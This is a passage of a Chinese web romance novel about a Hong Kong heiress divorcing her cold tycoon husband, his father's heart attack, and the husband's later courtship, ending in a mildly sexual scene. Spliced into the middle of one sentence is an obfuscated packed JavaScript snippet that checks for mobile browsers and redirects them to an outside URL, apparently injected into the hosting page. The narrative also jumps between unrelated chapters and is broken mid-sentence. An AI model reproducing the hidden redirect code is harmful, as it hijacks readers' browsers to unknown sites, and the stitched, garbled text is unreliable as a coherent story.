“负责的时候。”叶微顿了一下,迅速改口,“不不不其实我什么都没听到!” “没事啦。”Mia很大方,她向来不在乎别人知道她那些丰富的感情经历,“你一个人吗?过来跟我们一起吃吧。” 叶微觉得自己如果是个情商正常的人就应该拒绝,然后借口说自己有事溜之大吉,可她居然踌躇了。 八卦的心压倒一切,叶微最终还是坐在Mia身边,避开和贺羡棠的目光接触,捂着嘴小声问:“那个……贺大少,他真的很小吗?” Mia侧头:“真的啊!不过你为什么这么问?” “他看起来不像啊!” 叶微所处的圈子里有太多前仆后继和这些豪门少爷谈恋爱的人了,贺少川作为香港数一数二还单身的优质男,自然多得是人给他抛橄榄枝。 不过他一个也没接,听说私底下生活像杯白开水,时间长了,也有人猜测他是不是有什么问题或者不好这一口——毕竟Mia曾经传过这个谣言。 Mia长吁短叹:“唉,人不可貌相。” 她们俩居然很聊得来。贺羡棠快要崩溃了:“我们能结束这个话题了吗!” 这两人如梦初醒:“哦哦哦不好意思,忘了你还在了。” 这种奇葩她身边居然能凑出来两个,贺羡棠对着她俩竖拇指:“你们俩……” 叶微嘿嘿地对她笑,目光清澈。 吃完饭,贺羡棠就回家了。她需要一点时间消化最好的朋友睡了她唯一的哥哥这件事,不过这终归是他们俩的事情,Mia和贺少川都是成年人了,能够处理好。 Mia和叶微倒是很志趣相投,后来又约着一起吃过几次下午茶。贺羡棠也挺喜欢叶微,虽然她和Mia一样在有些事上很开放,但她很真诚。贺羡棠喜欢和真诚的人交朋友,从小她身边就会围着认识的不认识的一大群人,笑的比放多了糖的植物奶油还甜腻,相处起来反而不如叶微这样直来直去的人自在。 转眼就到了十二月,这期间贺羡棠和沈澈没见过几次面,反而律师见面的次数越来越频繁。他们是共同申请协议离婚,又有林佳的运作,不出意外,很快她就可以拿到绝对离婚令。 以至于一进入十二月,贺羡棠的心情都很愉悦,这又是圣诞季,月底她在法国有一场音乐会,和Mia商议一起去,等工作结束,顺路去北欧看雪。 那晚贺羡棠心血来潮做甜品,用安吉白茶打的奶油,一层蛋糕胚一层奶油一层日本柚子冻,整个厨房里弥漫着水果和茶的清香。 手机放在岛台上,开着公放和Mia打电话。 沈澈回来时,绣姐和他说cici在厨房。 厨师平时用的厨房在另一边,一楼的这个厨房仅供贺羡棠兴致来了做些东西,不大,挨着客厅,是半开放式的,沈澈走近,靠在墙上,听见她在讲电话,便没先开口打扰。 Mia说:“叫上叶微一起吧,她正好要去法国参加个什么活动。还有赵珩,不然缺个开车拎包的苦力。” “好啊,都可以。”贺羡棠专心地在蛋糕边上挤一圈奶油花,“我做了蛋糕,你要不要来吃?” “沈董在家吗?”Mia不愿意见到他,“他在我就不去了,天天挂着张扑克脸,好像我欠他五百万一样。真不知道你怎么忍他这么久!” 沈澈挑了下眉。 贺羡棠说:“他不在。” 沈澈咳了一声。 贺羡棠循声回头,顿时有些赧然,Mia还在絮絮叨叨地数落沈澈的缺点,贺羡棠手忙脚乱地把公放关了,对Mia说:“你别来了,我忽然想起今晚有点事,先挂了。” 沈澈没说话,好整以暇地看着她。 “她……”贺羡棠讪笑,“她就爱这样说话,你别跟她计较。” 不过沈澈也不是小气的人,被损一两句,他应该懒得搭理。 “嗯。”沈澈一扬下巴,问她,“晚上就吃这个?” “我中午吃的晚,晚上没胃口。”贺羡棠摸下鼻子,“不知道你今晚回来。让绣姐去煮点东西吃吧。” “不用了。”沈澈兴致很好,卷起袖口,摘下腕表放在岛台上,边洗手边说,“我自己来。” 贺羡棠问:“你心情很好?” 沈澈点下头,沈诚明身体不好,公司的事情越来越力不从心,他借此机会把好几个一直看不顺眼的老家伙踢走,当然心情大好。 除此之外,最近还有件很有趣的小事。 “哦对了,”沈澈开火,下了一小把面条,然后扭过头看贺羡棠,“你知道Mia最近到处说贺少川很小吗?” 贺羡棠明显愣了一下:“啊?小……” “小”那个字卡在嘴边,刚说了一个音节就猛地停下来了,沈澈都没听清楚。 沈澈很高兴,嘴唇忍不住地往上翘:“贺少川怎么惹她了?” 贺羡棠深吸一口气,盯着他看了两秒,像发现新大陆似的,忽然说:“其实你就是记仇的吧?” 沈澈从小就是被当作继承人培养的,大家族的话事人,首要的一点就是收敛私人化的情绪。贺羡棠一直以为,沈澈没有这些小情绪。 沈澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542971|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没否认,搅着锅里的面条:“下多了,你也吃一点。” “好吧。”贺羡棠佯装镇定,端着蛋糕转身走出厨房,人还是懵的。 连沈澈都听说了,岂不是全香港都知道了?以贺少川的性格,贺羡棠总觉得他不会善罢甘休。 这都是什么孽缘…… 贺羡棠捂着脸,“小”这个字在脑海中3D立体环绕回放,她有点不能接受。天啊,Mia这张嘴怎么到处乱说! 贺少川的名声啊…… 沈澈端着面条出来,问她:“愣什么神?想贺少川和Mia的事?” “没有。”贺羡棠问,“你要不要吃蛋糕?” 沈澈不爱吃甜的,她补充一句:“这次的奶油不甜。” “不吃。” 贺羡棠“哦”了一声,坐下安静地吃饭,意外地发现沈澈煮面的手艺居然很不错。 结婚这几年,贺羡棠很少见沈澈下厨,次数一只手就能数过来,且基本上都是在给她打下手。 他的时间太宝贵,连分给贺羡棠的都很少,更不要说厨房了。 “我以为你煮不熟。” 沈澈说:“以前在国外读书的时候,经常自己做饭吃。美国的东西有时候太难吃了。” 贺羡棠很能理解:“我也是。” 她能想象出沈澈那时的样子。虽然忙于学业,但没滋没味的白人饭吃久了,也会花时间下厨试着做顿中餐。 他那时候还年轻,虽然身上已经没什么学生气了,气质却比现在柔和很多。 贺羡棠很少回忆这些东西了,所以只要一想起来,就会发现原来记忆那么清晰,是偷偷关注过无数次才会有的结果。 很沉默的一顿饭,只有碗筷发出的很轻的声音,快吃完了,沈澈问:“什么时候去欧洲?” “二十号的机票。” 沈澈例行公事般的嘱咐:“注意安全。” “好。”贺羡棠想了下,见面的机会不多,在拿到离婚令前,不如有事一次性讲清楚。 “我大概月底回来,之后我会搬出去住,这房子里也有很多你的东西,我不会带走,所以希望你能在。如果你到时不方便,我也可以自己搬。” 是要他做个见证,她没有拿走他的东西的意思。沈澈眉眼倦怠:“不方便。” “好的。” 贺羡棠起身打算上楼了,沈澈忽然牵住她的手腕,贺羡棠不得不停住脚步,迎着他的目光。 两人离的很近,贺羡棠看见他琥珀色的瞳孔中映着自己的影子。 贺羡棠懵懵懂懂:“还有事吗?” 沈澈示意她弯下腰,贺羡棠听话地照做,垂着眼睫,不与他对视,片刻后感到嘴唇上很软的触感,温热。 沈澈的指腹贴在上面,轻轻揉了一下。 贺羡棠像被烫到,心里一颤,还没来得及反应,他已经收回手,摊开掌心给她看手指上一点白色奶油,然后抽张纸巾擦掉。 “谢谢。” 沈澈的电话恰如其分地响起来,贺羡棠一般没心思听,可此刻仍被他牵着,走不了,于是听见那边急匆匆的语气: “沈董,沈老先生突发心梗,已经送医了!” 16. 第 16 章 医院,沈澈和贺羡棠赶到时,人已经推进手术室了,沈诚明的主治医师也跟着进去,这个大胡子美国人是最了解沈诚明身体状况的人。 刚迈出电梯,就看见医院走廊里乱哄哄的一群人。据说沈诚明晕倒时正和几个外侄在会所玩,身旁还有两个如花似玉的女大学生陪着,见他突然发病,急匆匆地送医,到了医院,必要守在手术室外尽一尽孝心,他们的那些父母——也就是沈诚明那些表的堂的亲的兄弟姐妹,也一个个比给去投胎都急,而沈澈这个亲儿子居然还在家把碗刷了才来。 刑璋也在。这位沈诚明一直没正式认回去的私生子,架着副眼镜,神色阴鸷。 贺羡棠一直觉得这人气质阴森森的,移开视线,和沈澈小声说话:“我们到的最晚。” 沈澈也小声,附在她耳边,说小话似的:“沈濯还没来。” 他真的会来吗?贺羡棠在心里打问号。 走近了,贺羡棠抬头扫了一眼这群人,头疼。贺家的人际关系简单,沈家就不同了,沈诚明那一水儿的兄弟姐妹她都没认齐——结婚这些年沈澈只要求她在外面装,陪他一起出席集团年会或者慈善活动,家里这些靠沈诚明吃饭的人,他自己也懒得理。 总不会有人没眼色地惹他不高兴,贺羡棠也就一起躲懒。 她正犹豫要不要开口叫人,不说分不清一二三,就是这一圈挨个叫下来怕是要累死,可不打声招呼又显得没礼貌。她毕竟是小辈。 许多双眼睛都看着他们。沈诚明如果死了,沈澈是唯一的继承人。郑婉秋替她解围,伸出手说:“cici过来坐。” “哎,妈。”贺羡棠握着她的手,她年近六十了,保养得当,皮肤依旧细腻,细细的腕子上晃着一只翡翠手镯,翠绿莹润,闪着幽幽的荧光。郑婉秋一般不在打扮上费心思,贺羡棠猜她和沈澈一样,在家拖延了一会儿才过来。 走一下神,贺羡棠才想起应该说句话:“您别太担心了,爸爸吉人天相,唔会有事嘅。” “好孩子。” 郑婉秋拍拍她的手,阖上眼,嘴唇翕动,贺羡棠仔细听,是心经。不知祈求什么。 沈家夫妻和父子的关系都不好,贺羡棠没有主动去了解过为什么,但看沈诚明心梗前还有两个女人在旁,也能猜到一二。 这关系能好就怪了。 也不知道今晚这些人里,有几个盼着他死,又有几个盼着他活。贺羡棠忽然有些感慨,当了一辈子的“船王”,风头无两,身边其实连一个真心人都没有。 等了大概一个小时,沈诚明那个美国主治医师出来和家属简单沟通情况,又转身进手术室。一群人刚站起来还没来得及坐下,沈濯才姗姗来迟。 几年没见,他还是那副万事不上心的样子,懒声叫了句“妈”和“大佬”,又把目光落在贺羡棠身上,表情十分有意思。 “好久不见,大嫂还是这么漂亮。大佬好福气。” 贺羡棠听见他鼻孔里发出的笑声,笃定他知道内情,这句“大嫂”是在打趣自己。 贺羡棠说:“好久不见,濯仔更靓了,嘴也甜。唉……不知道以后便宜哪家小姐。有没有钟意的?大嫂去给你说媒啊。” “不用了。” 沈濯嘴角几不可见地抽搐了一下,侧脸的线条崩的很紧。 居然在贺羡棠这里吃瘪。 沈澈嗤笑一声,又很快在沈濯威胁似的目光里敛了笑意。 手术不知为何进行许久,沈澈和沈濯兄弟俩出去抽烟,私立医院的环境没话讲,十二月了,后花园里还是郁郁葱葱,化成雾似的一团绿意,刚下过雨,空气里飘着尘土和青绿叶子味。 橙色烟火在指间明明灭灭,沈澈白衬衫的袖口挽到肘部,双臂向后搭在露台栏杆上,望着不远处贺羡棠的身影,吐出一口烟圈,她的面容也随之模糊了,像浮在水面上的月影。 “真离了?”沈濯问他。 “嗯,她想离。” 沈濯斜觑他:“她想离你就离?我劝你老老实实认个错,追老婆有什么丢人的?别死要面子活受罪,等失去了再后悔。” 沈澈淡声说:“不会。” 沈濯不讲了。这人还没开窍呢,不能指望一个从小就接受断情绝爱教育的人忽然变成个情圣。更何况他自己的感情也一团糟,哪来的自信指点别人。 他换个话题:“沈诚明这次能挺过去吗?” 他连声爸都不喊,直呼其名。像是今晚能过来就已经给足脸面。 “不知道。”沈澈说,“最好的结果是他从此只能卧床养病,颐养天年。” 沈澈急需清理集团内沈诚明的势力,执行董事做了五年,他没有耐心继续和这些老家伙周旋。可父子一场,再没有情分,也总不至于希望听到他去世的消息。 沈濯冷笑了声:“心好善,大佬。” 沈澈没应声,仍然盯着贺羡棠,看她低头和郑婉秋讲话,眉眼间的倦意藏的很好。似乎是冷,她搓了下手心。 入夜降温了,医院里又是最阴寒的地方,贺羡棠穿的单薄,只一件衬衫。沈澈给司机打电话,吩咐:“车上有条羊绒披肩,拿上来给太太。” 沈澈听了,心想这是栽坑里了还不自知。 司机办事利索,很快就把披肩送上来,贺羡棠正冷的发抖,这简直是雪中送炭,她立刻把自己裹起来。蒙古最好的小山羊绒,从长出到生产不过短短几天,柔软温暖,舒服得不得了。 贺羡棠很讲礼貌:“唔该。” “是沈董吩咐的。” 司机没多待,留下这句话就离开。贺羡棠歪着身子往露台的方向看,对上沈澈的视线,朝他露出一个感激的笑。 沈澈也笑了下,笑意转瞬即逝。沈濯说晚上没怎么吃东西,喊饿,他像没听见,阔步推门,回去了。 贺羡棠又对他说:“谢谢。我真的好冷,这里阴森森的。” “不用谢。”等了这么久了,沈澈问她,“饿不饿?让司机去买点东西吃?” 贺羡棠有吃宵夜的习惯,晚上如果没正经吃东西,睡前肯定要问绣姐要糖水一类的。 饿。贺羡棠不好意思讲,连沈濯规规矩矩地都在这里等着,她吃宵夜算怎么回事?她摇摇头:“我不吃。” 沈澈说:“唔事,你不用管他们,饿就吃一点。” 沈濯慢悠悠走过来,听见这话,不停地翻他白眼:“我说饿你听不见?” 贺羡棠也装听不见这话,讪笑:“还是算了。” 沈濯心说哥你完了,我帮不了了。 沈澈转向沈濯,颇不耐烦地讲:“你吃不会自己叫司机去买?” “我也不吃!”沈濯瞪他,拌嘴似的。 一众人都很无语。亲爹还在里面做手术,他们这些亲戚都装的忧心忡忡,亲儿子在这里讨论起来要不要吃宵夜。 没人敢说。沈诚明生死未卜,他们以后说不定还要仰仗沈澈继续发财。但邢璋是专门来给人添堵的。 “这么好的胃口,真是让人羡慕。” 沈濯反唇相讥:“比某些人惺惺作态要好。” 他的视线在邢璋身上停留几秒,又越过他,扫视他身后的那群人。 贺羡棠抿着唇悄悄看好戏,忍不住在心里夸沈濯,以一挑十,好牛。 “说谁呢?”沈诚明有个侄子小声嘀咕。 是个极不成器的,虽然蠢笨,但也因此不招人讨厌。 沈濯冷哼了声:“蠢货。” 顿时没了声音。 沈濯和沈澈不一样,他向来脾气差,连沈诚明都会被他气个半死。除了邢璋,其实没有人愿意去招惹他。 手术的时间越长,大家的心情就越起伏不定。每个人心里都有自己的算盘,沈诚明究竟是死是活?如果沈诚明死了该怎么办?一朝天子一朝臣,他们里面有些人没少在集团里捞油水,太子爷早就看他们不顺眼了,上台后又会第一个拿谁开刀?现在表忠心还来得及吗? 手术室外这一方天地的气氛就格外凝重。 贺羡棠是个旁观者,无聊到抠手指。 凌晨,手术终于结束。沈诚明那个白人主治首先出来,宣布手术的成功,但病人还需要送入ICU观察。 所有人暗自松了口气,随即又看向沈澈。 他没什么表情,认真地听医师讲话,偶尔点一记头。 沈诚明被推出来后,沈澈和沈濯看了他一眼。 病床上的人灰白浮肿,像在水里泡了太久。 正要散了,警署的一队人忽然冲出来,步履匆匆,二话不说铐走了沈诚明的堂弟。 这个人以前为了讨好沈诚明,没少替他干脏活。 被铐走时,嘴里还不干不净地向警署讨说法,这次来的人却格外训练有素,一点口风不透。沈澈负手而立,微笑地看着他:“阿叔,亏心事做多了是会撞到鬼的。” 于是所有人都知道是沈澈做的。 他故意选择这个时间,为了告诉大家,沈诚明没死,但沈诚明大势已去了。 父子争权,改朝换代,免不了的事情。沈诚明这么多年牢牢握着权柄不愿松手,他的儿子却比他想象中的更没耐心。 变故发生的太突然,贺羡棠呆呆地看着沈澈,没想到今晚还有这出戏。 “澈仔啊,你阿叔他……”有长 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他是长子,从小被当做继承人培养的。童年过的基本没什么乐趣,也不常见沈诚明,见到了也像考试一样,还不如不见。 别的小孩子还在学英语的时候,他就跟着老师在北美的射击场上。大家族当然重视继承人的教育,像沈诚明这样严苛的却很少见。 小时候都没培养出什么感情,更别提成年以后了。只不过沈澈从前一直以为这是正常的父子相处模式,沈诚明对他有期待,他是沈家下一任的话事人,家族兴衰的重任担在他肩上。 直到那年在北美,因境外几处港口,沈诚明和当地的船运巨商结下梁子,北美治安差,一次沈诚明和沈澈换了车出行,也是那次他们遇到了枪.击案。 沈诚明似乎是早有消息,沈澈事后没去求证过,算是留一点父子情分。 他已经懒得想这些事情了,对贺羡棠说:“其实也还好。” 贺羡棠问:“你小时候都学过什么?” 贺家也有一些特殊的课程,不过大多数是和安全有关的。贺家祖上有些底蕴,但真正发展成望族是在贺齐父亲那一代,他去世后,因为一些变故,贺齐被迫成为家族的话事人。 被赶鸭子上架的贺齐和林樾都很开明,给孩子们准备好了信托和股份,不强求他们真的争气,只要别败光家业就行,所以贺家的家庭氛围也算是全香港最轻松的。 沈澈说:“乱七八糟什么都学。” 他听见贺羡棠打了个喷嚏,就握着她的手放进口袋里,想到下周家事法庭就会发最终判决令,而他最近要出差,去新加坡一个月,这估计是离婚前最后一次见面了,有些话不如说清楚:“只是,我没学过怎么爱人。对不起,这几年里,是我有错。” 从小他被教育怎样内敛自己的情绪,感情是很没用的东西,对于大家族的继承人来说,他最好永远理性,才能做出最正确的选择。 虽然沈澈现在仍然不觉得他喜欢贺羡棠,那些很模糊的感受,被他定义为一种对五年婚姻的惋惜。 如果他知道怎么爱人,应该会装的更像一点。 贺羡棠垂着眸看水面上路灯的倒影,想说怎么爱人是不用学的。 但她最终也没讲。 贺羡棠忽然就释然了。沈澈好坦荡,坦荡地告诉她他就是不会爱人,你说恨吗?也谈不上,沈澈就是这样一个人,他生活的环境和接受的教育造就了他,他如果温柔体贴又多情,就不是沈澈了。 贺羡棠摇摇头:“没关系。” 是真的没关系。贺羡棠觉得自己也有错,如果是联姻,一开始就不应该抱有期待。 走到车前,司机打开车门,沈澈松开贺羡棠的手,变魔术似的在另一侧口袋里掏出一枚钻石。 是上次贺羡棠问他要的那枚。原本是镶在戒指上的,但他们的关系已经不适合再送戒指了,沈澈就让人取下来,干脆送一枚裸钻,随便贺羡棠以后想镶在哪里。 贺羡棠摊开手心。 钻石落下,在夜里折射着璀璨的光芒。 贺羡棠笑:“你还记得啊。” 沈澈很诚实:“Tina去拍的。” 无所谓谁拍的,很漂亮的钻石,看上去有十几克拉,纯净度很高,贺羡棠很喜欢,拿在手里把玩。 沈澈看她坐进车里,对司机说:“送太太回去。” 贺羡棠攥着那枚钻石,车开走了,她回头看沈澈,他站在夜里,同订婚前在饭店外重遇时一模一样。 一周后,贺羡棠收到了家事法庭的判决令。 40-50 41 第41章 ◎“沈生是在追求我吗?”◎ 贺羡棠歪了下头,像听不懂他在说什么。 这些词从沈澈嘴里讲出来,实在有些石破天惊。 开什么玩笑? 她又不是Mia。 “你开会要迟到了。”贺羡棠连拒绝的话都懒得继续讲,朝他挥挥手,利落地关上门。 贺羡棠心情尚可,把蛋糕放进冰箱,想了下沈澈方才的话,觉得好笑,靠在冰箱门上给Mia打电话。 还是没人接。 Mia从未消失这么久过,贺羡棠有些不放心,给贺少川打电话,刚接通就问:“Mia呢?我打她的电话一直打不通,她有没有和你在一起?” 贺少川沉默了一会儿。 贺羡棠在这片沉默里品出些不对劲,问:“怎么?你们吵架了吗?” “没有。”贺少川说,“她跑了。” 贺羡棠不理解。 贺少川懒得解释,直接挂了电话。 贺羡棠自认不是个很八卦的人,起码和Mia比起来她称不上“八卦”,但贺少川话说一半,又说的含糊,把贺羡棠一颗好奇心不上不下地吊着。 她只好四处打探消息。 然而她能找的人也不多。 她怕尴尬,不便联系赵珩,贺舒估计什么都不知道,剩下的狐朋狗友泛泛之交就更指望不上了。 思来想去,贺羡棠找了叶微。 过完年不久,叶微就从东北飞回来了,周聿安还待在香港,她舍不得离开太久。 “cici?”叶微很惊喜,“好久不见啊!有什么事儿吗?暴揍前夫还是酒店捉/奸?” “不不不。”贺羡棠哭笑不得,“我是想问,你知道Mia去哪儿了吗?” 叶微长长地“哦”了一声。 贺羡棠眸光闪亮,仿佛看到了希望的曙光。 叶微说:“不知道。” 贺羡棠沉默了。 “今天我给她打电话她没接。”叶微也很疑惑,“我们还说今天一块儿去做spa,眼见她又要放我鸽子了,消息不回电话不接音讯全无,整一个三无人士啊!” 贺羡棠叹口气。 “放心啦。”叶微说,“喝多了又躺在哪个小男模床上了吧。” “好吧。” 挂断电话,贺羡棠又开始琢磨贺少川那一句“她跑了”。 她为什么要跑? 她能跑到哪里去? 贺羡棠心里像有只小猫爪一直在挠一样,她又给贺少川打电话,贺少川不接。没办法,她只好给沈澈发消息—— “你能帮我查一下Mia去哪了吗?” 沈澈开会时,手机都是交由秘书保管的。贺羡棠发完消息后就把手机丢到一边,没期望能立刻得到回复。 她在沙发上躺了一会儿,想贺少川和Mia,想赵珩,想到赵立昇,对着空气狠狠挥了两拳。 真是一团糟的关系。 贺羡棠已经放弃做规划,随缘吧。 她又抬起脚踢了几下,骂赵立昇是王八蛋。 手机忽然响了,贺羡棠一个激灵,被口水呛到,看也没看就点接通,还在一个劲儿地咳嗽。 “怎么总是咳嗽?”沈澈问,“是不是哪里不舒服?” 虽然Richard说没什么事,但他总疑心是药物有副作用。 贺羡棠又咳了几秒钟,平复呼吸,说:“没有,呛到了。谁叫你忽然打电话。” 沈澈说:“你没回我的消息。” 贺羡棠不承认自己没看手机:“你发我就要回?你以前回我吗?” 沈澈抿了下唇,心里想被针刺了一下,不疼,就是有点儿酸。他打手势示意暂停,举着手机走出会议室,清了下嗓子才说:“贺少川向Mia求婚,Mia没同意,昨夜飞去瑞士了。” 他不适应聊人八卦,语调都有些不自然。 贺羡棠花了半分钟才消化这短短的一句话。起承转合,开头结尾,一目了然,十分精彩。 她呆呆地“哦”了一声:“求婚?” “嗯,求婚。”沈澈说,“在Gaddis餐厅,当天的服务人员看见了。” 贺羡棠说:“Mia肯定不会答应。” 这是意料之中的事。她只是没想到贺少川恨嫁。 沈澈问:“为什么?” “她是不婚主义。” 沈澈不做评价。他幸灾乐祸,觉得贺少川活该。 贺羡棠又说:“她也不愿意承担任何责任。” 婚姻和恋爱不同,需要由忠诚和责任构成。其实Mia以前也不谈恋爱,她的两性关系通常是快餐式的,偶尔有兴致,玩几天浪漫,但多数情况下都是床上见面,床下互不打扰。 沈澈勾了下唇:“你也一样?” 贺羡棠:“……” 这个话题怎么过不去了? 贺羡棠宣布:“我要挂电话了!” 沈澈抢在她挂电话前说:“晚上我去看你。” 电话挂了。 香港升温,天气晴。 贺羡棠赤脚踩上羊绒地毯,站到客厅的落地窗前向外望,不远处维港的海面上波光粼粼。风清浪缓,起伏的海面上,碎金般的阳光荡漾着,白色帆船划过,拖起长长的浪。 贺羡棠忽然想起,可以收拾一下楼上的露台了。 她约相熟的园林设计师见面,练琴,随意吃了一点午饭,下午三四点钟,园林设计师登门拜访,给她带了一支六角花瓶做礼物。 花瓶整体是国画里会用的粉蓝色,绘山水图,如有薄雾笼罩,山尖上,一只翠鸟展翅。 Chloe说:“上个月我去景德镇淘的,还不错吧?” 贺羡棠道谢:“很漂亮。” Chloe随口道:“你肯定喜欢那里,到处都是花瓶、瓷器,随便一个摊主都颇有艺术风格,当然,风景也不错。” “有机会去。”贺羡棠问她,“要喝什么?咖啡还是茶?” Chloe说:“给我瓶矿泉水就行。” 贺羡棠去冰箱拿水,看见蛋糕,切了两块和她分享。 又闲聊了一会儿,Chloe很有边界感,没问她为何搬出来住,话题只在一些无关紧要的事上打转,花瓶、艺术、秀场。 吃完蛋糕,Chloe说:“带我去露台看看吧?” 顶层露台上依旧光秃秃的。那晚的烧烤没吃成,后来一段时间贺羡棠也没心思收拾,以至于最初搬进来时什么样子,至今还是什么样。 Chloe笑道:“留给我发挥的空间很大啊。” 贺羡棠也笑,给她讲自己的设想,哪一片地方做花池,哪一片地方摆桌椅,主景树用什么类型。 Chloe一一记下,随手画草图,和她沟通。 太平山上那栋别墅的花园就是Chloe设计的,她熟知贺羡棠的喜好,贺羡棠也信任她。 忙完时已经近六点,维港、帆船、棕榈树、两岸连绵的高楼,一切都笼罩在一场盛大的橘色落日中,如梦如幻,如色彩最丰富的、流动的油画。 Chloe盛赞:“景色真漂亮。” “我就是为这景色买的。”贺羡棠拿手机看时间,估算着快到沈澈下班的时间了。 “真好,什么时候我也能把买房说的像喝水一样简单。”Chloe提议,“出去吃晚餐吗?” 贺羡棠没有犹豫:“好啊,我请你。翠园上新了时令菜。” Chloe开车载她,驶出小区时,与一辆黑色迈巴赫擦肩而过。 落日十分短暂,不过短短十几分钟,余晖散尽。坐在翠园窗边,再向外望时,夜幕已经降临,对岸灯火一盏盏亮起,绵延成线。 反扣在桌面的手机震动,贺羡棠等了十几秒钟,姗姗接通,沈澈问:“出门了吗?” 贺羡棠说:“有点事。” 沈澈摆弄着贺羡棠的橘子树:“那你先忙,我等你。” 贺羡棠说:“会比较久。” 沈澈很有耐心:“无妨。” Chloe问:“你有事要忙吗?” 贺羡棠放下手机,一耸肩说:“没事啊。” 冬去春来,餐桌上最先发生变化。清新的芦笋、春季的白鳝、正当时的扇贝和青口,马友鱼最鲜嫩,淋柠檬汁,搭配的橄榄菜也爽口。 吃完饭,贺羡棠还有兴致,让人打包餐后的那道加了越橘果酱的冰淇淋球带回去。 车到小区门口,贺羡棠让Chloe停下,与她道别,去超市买了盒鲜牛奶回去。 拎着购物袋,迈进电梯,然后等电梯上升,无聊地看数字跳动。“叮”的一声,电梯门开,贺羡棠看见沈澈。 万年不变的衬衫西裤,西服外套在臂弯里挂着。这样一套偷懒的穿搭公式,居然也让他穿出韵味来,衬的肩宽腰细腿长。 入户的一盏方形灯亮着,灯光尽数洒在他身上,从发丝漫到肩膀,晕出温柔的光圈。他手里捧着一束玫瑰,眉眼柔和,等了几个小时,也没有显现出半分不耐烦。 “回来了?”沈澈接过她手里的东西,把花递给她,“怎么这么晚?” 贺羡棠按下指纹锁,推门,随口说:“出去吃饭了。” 沈澈问:“打电话时我说晚上来看你,你听见了吗?” 他语气柔,没有指责的意思,只是真的好奇,并且抱着一丝隐秘的期待,希望当时贺羡棠只是急匆匆地挂电话,没听见他讲话。 而不是不想见到他。 只是落到贺羡棠耳中,以为他是抱怨。 贺羡棠忽然抬眸看他,清凌凌的目光里洇着一贯的坦荡:“沈生是在追求我吗?” 沈澈的心跳漏了半拍。他颔首,觉得全部心意都在贺羡棠的目光中无所遁形。 “当然。”沈澈说,“Cecilia。” 他每次念“Cecilia”,音调都那么好听,优雅绅士,藏着无限缱绻旖旎的心思。 贺羡棠揉了下耳朵尖:“那沈生应该习惯,我用你曾经对待我的方式对待你。” 42 第42章 ◎“A你房费。”◎ 沈澈的手垂着,那束浅色的奥斯汀玫瑰也垂下去,一朵朵碗盏大的花头无精打采的,彰显着主人低落的心绪。 沉默片刻,沈澈说:“好。” 他没有立场为自己抱怨,只是在贺羡棠平和的语调下,又一次与当初的她感同身受,而因此意识到自己错的有多离谱。 连他这样的人也会因冷漠忽视而尝到落寞滋味,他居然让二十几岁的贺羡棠体验过不知多少次。 沈澈咬了下腮边的软肉,借一点刺痛来让自己清醒。 贺羡棠叹了口气,问:“进来吗*?” 沈澈闷闷地说:“不要对我心软。” 贺羡棠挑眉:“嗯?” “我活该。” 他神色认真,敛着薄而狭长的眼皮,说这话时带着一点决绝,像是一种自我惩罚。贺羡棠端详他,倏尔笑了:“我不会。” 沈澈抬手抚了抚她脸颊,一并将花送给她,揭过这个会令两人都不开心的话题,自顾自地讲:“过来的路上开车经过太子道,看见那边很多花店,觉得今天应该送你花。” 贺羡棠接过,说:“进来吧,别在门口站在,你吃饭了吗?” 沈澈帮她带上门:“没有。” 他下班后直接过来,在门口等了几小时,怕错过她回来,当然不会中途跑出去吃晚餐。 贺羡棠想了下:“家里有云吞。” 沈澈扬着唇,很自觉道:“我自己去煮。你想再吃一点吗?” 贺羡棠把玫瑰插进花瓶,调整着位置,眼皮也没抬:“我很饱。” 沈澈就自己进厨房,轻车熟路地从冰箱里找到一盒云吞,起锅烧水,煮沸后,再加一道凉水,等再次开锅后盛出来。 他也懒得调汤底,一碗没什么滋味的云吞吃得倒美,胃连着食管,一直到心脏,都觉得暖洋洋热腾腾的。 吃完自觉洗碗。 贺羡棠一直盘腿坐在沙发旁的地毯上,拿着一本钢琴谱研究,偶尔技痒,手指在空中敲几下。 沈澈不想走,轻手轻脚地坐到一旁的单人沙发上,安静地陪她。 贺羡棠看完一曲,从谱子里抬起头,想说她在这里看谱是不方便丢下他去练琴,怎么他这样子,反倒像是他在陪她了,结果看见沈澈已经闭上了眼。 他手指支着太阳穴,眉心微蹙,呼吸平稳,像是睡着了,睡姿却十分端正,两条长腿交叠,衬衫都没皱半分。 在这儿睡觉算怎么回事? 贺羡棠起身,想去叫醒他,可一靠近,被人攥住手腕,他力道大,丝毫不放松,在睡梦中也十分警惕,像是拿她当不怀好意趁机接近的女人。 贺羡棠吃痛,说:“是我!” 手腕上的力度松了,下一秒,沈澈扯着她抱进怀里,脑袋埋在她颈窝。 贺羡棠坐在他大腿上,挣扎着推他。 沈澈深深嗅一口她身上的味道。她不喷香水,但衣帽间里常年用一种定制的香薰,因此身上总是有很淡的香气,是草木香,带一点梨子的清甜,很温柔清爽,之于沈澈来说,像氧气一样令人安心。 “让我抱一会儿。”他说。 他实在困倦。从纽约回来,集团里每天等着他决断的事务堆积如山,又常常要开跨国视频会议,连倒时差的时间都没有,一天只睡五六个小时,偏偏每一件事、每一个决策,都是不能出错的,神经一直紧绷着。 今夜到贺羡棠这里,对他的时间而言,称得上挥霍。 抱一会儿,就心猿意马。人总是贪心,想要更多,沈澈承认,即便是他,也摆脱不了这种劣性根。 他坦荡,大方,败倒在欲望之下,吻贺羡棠的脖颈。 湿漉漉的触感,贺羡棠躲了下,没躲开,也就随他去了。大概昨夜的药物还未代谢完,欲望一经点拨,便有燎原之势。 气氛实在太好,于是那吻一路向下。 一次和两次没什么区别,贺羡棠放任自己,溺在这种快乐里。 她仰着头,眼前被灯光晃的发晕,耳朵也像被一层薄薄的罩子罩住,听什么都不真切,只有沈澈的低笑那么清晰。 他说:“cecilia,你该换沙发了。” 